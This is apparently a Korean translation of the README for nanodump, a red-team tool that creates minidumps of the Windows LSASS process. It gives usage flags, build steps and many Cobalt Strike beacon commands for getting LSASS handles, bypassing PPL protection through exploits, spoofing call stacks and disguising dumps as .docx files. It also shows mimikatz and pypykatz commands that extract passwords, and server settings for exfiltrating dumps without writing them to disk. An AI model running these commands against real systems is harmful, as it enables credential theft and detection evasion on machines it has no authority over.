
LSASS 덤핑의 스위스 아미 나이프
LSASS 프로세스의 미니덤프를 생성하는 유연한 도구입니다.

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
--write DUMP_PATH, -w DUMP_PATH
덤프 파일명
--valid, -v
유효한 서명이 있는 덤프 생성
Obtain an LSASS handle via:
--duplicate, -d
높은 권한을 가진 기존 LSASS 핸들 복제
--duplicate-elevate, -de
낮은 권한을 가진 기존 LSASS 핸들을 복제한 후 권한 상승
--seclogon-leak-local, -sll
seclogon을 통해 LSASS 핸들을 nanodump로 유출
--seclogon-leak-remote BIN_PATH, -slt BIN_PATH
seclogon을 통해 LSASS 핸들을 다른 프로세스로 유출한 후 복제
--seclogon-duplicate, -sd
seclogon이 LSASS에 대한 핸들을 열고 복제하도록 속임
--spoof-callstack, -sc
가짜 호출 스택을 사용하여 LSASS에 대한 핸들 열기
Let WerFault.exe (instead of nanodump) create the dump
--silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
SilentProcessExit를 통해 WerFault.exe가 LSASS를 덤프하도록 강제
--shtinkering, -sk
Shtinkering을 통해 WerFault.exe가 LSASS를 덤프하도록 강제
Avoid reading LSASS directly:
--fork, -f
덤프 전 대상 프로세스 포크
--snapshot, -s
덤프 전 대상 프로세스 스냅샷 생성
Avoid opening a handle with high privileges:
--elevate-handle, -eh
낮은 권한으로 LSASS에 대한 핸들을 열고 복제하여 더 높은 권한 획득
Miscellaneous:
--getpid
LSASS의 PID를 출력하고 종료
--chunk-size
디스크에 쓰지 않고 덤프를 유출하는 데 사용되는 청크 크기(KiB, 기본값 900)
Help:
--help, -h
이 도움말 메시지를 출력하고 종료
git clone https://github.com/fortra/nanodump.git
Linux + MinGW
make -f Makefile.mingw
Windows + MSVC (BOF 미지원)
nmake -f Makefile.msvc
Cobalt Strike에서 NanoDump.cna 스크립트를 가져옵니다.
Beacon 콘솔에서 nanodump 명령어 또는 nanodump.x64.exe 바이너리를 실행합니다.
--valid 플래그를 지정하지 않은 경우, 유효하지 않은 서명을 복원해야 합니다.
scripts/restore_signature <dumpfile>
mimikatz:
비밀 정보를 얻으려면 다음을 실행합니다.
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit
pypykatz:
Linux에서 작업하는 것을 선호한다면 mimikatz의 Python3 포트인 pypykatz를 사용할 수 있습니다.
python3 -m pypykatz lsa minidump <dumpfie>
PROCESS_VM_READ 권한으로 LSASS에 대한 핸들을 여는 것을 피하려면 --fork 매개변수를 사용하세요.
이렇게 하면 nanodump가 PROCESS_CREATE_PROCESS 액세스 권한으로 LSASS에 대한 핸들을 만든 다음 프로세스의 '복제본'을 생성합니다. 이 새로운 프로세스가 덤프됩니다. 프로세스 생성 및 삭제가 발생하지만 LSASS를 직접 읽을 필요가 없습니다.
--fork 옵션과 유사하게 --snapshot을 사용하여 LSASS 프로세스의 스냅샷을 만들 수 있습니다.
이렇게 하면 nanodump가 PROCESS_CREATE_PROCESS 액세스 권한으로 LSASS에 대한 핸들을 만든 다음 PssNtCaptureSnapshot을 사용하여 프로세스의 스냅샷을 생성합니다. 이 새로운 프로세스가 덤프됩니다. 스냅샷은 완료 시 자동으로 해제됩니다.
LSASS에 대한 핸들을 여는 것이 감지될 수 있으므로, nanodump는 대신 LSASS에 대한 기존 핸들을 검색할 수 있습니다.
핸들이 발견되면 복사하여 미니덤프를 만드는 데 사용합니다.
이러한 핸들이 항상 존재하는 것은 아닙니다.
PROCESS_QUERY_LIMITED_INFORMATION 권한으로 LSASS에 대한 핸들을 얻을 수 있습니다. 이 권한은 허용 목록에 있을 가능성이 높으며, 그런 다음 해당 핸들을 복제하여 권한을 상승시킵니다.
LSASS에 대한 핸들을 열지 않으려면 CreateProcessWithLogonW를 호출하여 seclogon 서비스를 남용해 LSASS 핸들을 nanodump 바이너리로 유출할 수 있습니다.
이 기능을 활성화하려면 --seclogon-leak-local 매개변수를 사용하세요.
Cobalt Strike에서 사용할 때는 이 기능을 사용하기 위해 서명되지 않은 nanodump 바이너리를 디스크에 써야 합니다.
이 기법은 이전 기법과 매우 유사하지만, 핸들이 nanodump로 유출되는 대신 다른 바이너리로 유출된 후 복제되어 nanodump가 사용할 수 있게 됩니다.
--seclogon-leak-remote 플래그를 사용하여 이 기능에 접근하세요.
파일 잠금을 사용하여 경쟁 조건을 이겨내면 seclogon 프로세스가 LSASS에 대한 핸들을 열고 닫히기 전에 복제하도록 속일 수 있습니다.
--seclogon-duplicate 플래그를 사용하여 이 기능에 접근하세요.
LSASS에 대한 핸들을 열지 않기 위해 nanodump를 SSP로 LSASS에 로드할 수 있습니다.
DLL이 LSASS에 로드되면 매개변수는 명명된 파이프를 통해 전달되며, 덤프가 완료되면 DllMain이 FALSE를 반환하여 LSASS가 nanodump DLL을 언로드하게 합니다.
컴파일러 플래그 PASS_PARAMS_VIA_NAMED_PIPES=0을 사용하여 명명된 파이프를 사용하지 않고 매개변수를 DLL에 하드코딩할 수 있습니다.
기본적으로 서명되지 않은 nanodump DLL이 Temp 폴더에 업로드되며 자동으로 삭제됩니다.
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp
기존 DLL을 로드하려면 다음을 실행하세요.
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll
이 취약점은 2022년 7월 업데이트 팩(Windows 10 21H2 빌드 19044.1826)에서 수정되었습니다.
이 기능에 접근하려면 nanodump_ppl_dump 명령어를 사용하세요.
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp
이 기능에 접근하려면 nanodump_ppl_medic 명령어를 사용하세요.
beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp
덤프가 nanodump에 의해 생성되지 않으므로 항상 유효한 서명을 가집니다.
Silent Process Exit 기법을 활용하려면 --silent-process-exit 매개변수와 덤프가 생성될 경로를 사용하세요.
beacon> nanodump --silent-process-exit C:\Windows\Temp\
nanodump 프로세스의 덤프도 생성되며, 다음과 유사합니다.
PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'
Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/23/2022 7:40 AM 58830409 lsass.exe-(PID-648).dmp
-a---- 6/23/2022 7:40 AM 7862825 nanodump.x64.exe-(PID-3224).dmp
Shtinkering 기법도 사용할 수 있으며, nanodump가 SYSTEM으로 실행되어야 합니다.
beacon> nanodump --shtinkering
덤프는 일반적으로 C:\Windows\system32\config\systemprofile\AppData\Local\CrashDumps 아래에 생성됩니다.
가짜 호출 스택을 사용하여 LSASS에 대한 핸들을 열면 함수 호출이 좀 더 합법적으로 보이게 할 수 있습니다(BOF로 실행할 때 특히 유용).
이 기능에 접근하려면 --spoof-callstack 매개변수를 사용하세요.
많은 기법을 조합하여 nanodump의 작동 방식을 사용자 정의할 수 있습니다. 다음 표는 어떤 플래그를 함께 사용할 수 있는지 나타냅니다.
포크를 생성하여 LSASS를 간접적으로 읽고 유효하지 않은 서명으로 덤프를 디스크에 쓰기:
beacon> nanodump --fork --write C:\lsass.dmp
seclogon 원격 유출을 사용하여 notepad 프로세스에 LSASS 핸들을 유출하고, 해당 핸들을 복제하여 LSASS에 접근한 후 포크를 생성하여 간접적으로 읽고 유효한 서명으로 덤프 다운로드:
beacon> nanodump --seclogon-leak-remote C:\Windows\notepad.exe --fork --valid
seclogon 로컬 유출로 핸들을 얻고, 포크를 사용하여 LSASS를 간접적으로 읽고 유효한 서명으로 덤프를 디스크에 쓰기(nanodump 바이너리가 업로드됩니다!):
beacon> nanodump --seclogon-leak-local --fork --valid --write C:\Windows\Temp\lsass.dmp
유효하지 않은 서명으로 덤프 다운로드(기본값):
beacon> nanodump
기존 핸들을 복제하고 유효하지 않은 서명으로 덤프를 디스크에 쓰기:
beacon> nanodump --duplicate --write C:\Windows\Temp\report.docx
LSASS의 PID 가져오기:
beacon> nanodump --getpid
SSP로 nanodump를 LSASS에 로드(nanodump 바이너리가 업로드됩니다!):
beacon> nanodump_ssp -w C:\Windows\Temp\lsass.dmp
PPLDump 익스플로잇을 사용하여 PPL을 우회하고 csrss.exe가 LSASS에 가지고 있는 핸들을 복제하여 LSASS 덤프:
beacon> nanodump_ppl_dump --duplicate --write C:\Windows\Temp\lsass.dmp
PPLMedic 익스플로잇을 사용하여 PPL을 우회하고 낮은 권한의 LSASS 핸들을 연 후 권한 상승:
beacon> nanodump_ppl_medic --elevate-handle --write C:\Windows\Temp\lsass.dmp
seclogon이 LSASS에 대한 핸들을 열고 복제하도록 속인 후 유효하지 않은 서명으로 덤프 다운로드:
beacon> nanodump --seclogon-duplicate
WerFault.exe 프로세스가 Temp 폴더에 전체 메모리 덤프를 생성하도록 강제:
beacon> nanodump --werfault C:\Windows\Temp\
위조된 호출 스택으로 LSASS에 대한 핸들을 열고 유효하지 않은 서명으로 미니덤프 다운로드:
beacon> nanodump --spoof-callstack
Shtinkering 기법 사용:
beacon> nanodump --shtinkering
seclogon 로컬 유출로 핸들을 얻고 Shtinkering 기법을 사용하여 덤프 생성:
beacon> nanodump --seclogon-leak-local --shtinkering
낮은 권한으로 핸들을 얻고 _elevate handle_을 사용하여 권한 상승:
beacon> nanodump --elevate-handle
위조된 호출 스택을 사용하여 낮은 권한으로 핸들을 얻고 _elevate handle_을 사용하여 권한 상승:
beacon> nanodump --elevate-handle --spoof-callstack
기존의 낮은 권한 핸들을 복제하고 _elevate handle_을 사용하여 권한 상승:
beacon> nanodump --duplicate-elevate
HTTPS 리디렉터를 사용하는 경우(권장), 덤프를 파일리스로 다운로드할 때 덤프를 유출하는 요청의 크기로 인해 문제가 발생할 수 있습니다. 웹 서버에서 요청의 최대 크기를 늘려 nanodump가 덤프를 다운로드할 수 있도록 하세요.
location ~ ^...$ {
...
client_max_body_size 50M;
}
<Directory "...">
LimitRequestBody 52428800
</Directory>
| --write | --valid | --duplicate | --elevate-handle | --duplicate-elevate | --seclogon-leak-local | --seclogon-leak-remote | --seclogon-duplicate | --spoof-callstack | --silent-process-exit | --shtinkering | --fork | --snapshot | SSP | PPL_DUMP | PPL_MEDIC |
|---|
| --write | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||
| --valid | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||
| --duplicate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||||||||
| --elevate-handle | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||
| --duplicate-elevate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-leak-local | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-leak-remote | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-duplicate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --spoof-callstack | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||||||||
| --silent-process-exit | ✓ | |||||||||||||||
| --shtinkering | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||
| --fork | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||
| --snapshot | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||
| SSP | ✓ | |||||||||||||||
| PPL_DUMP | ✓ | ✓ | ✓ | ✓ | ||||||||||||
| PPL_MEDIC | ✓ | ✓ | ✓ | ✓ |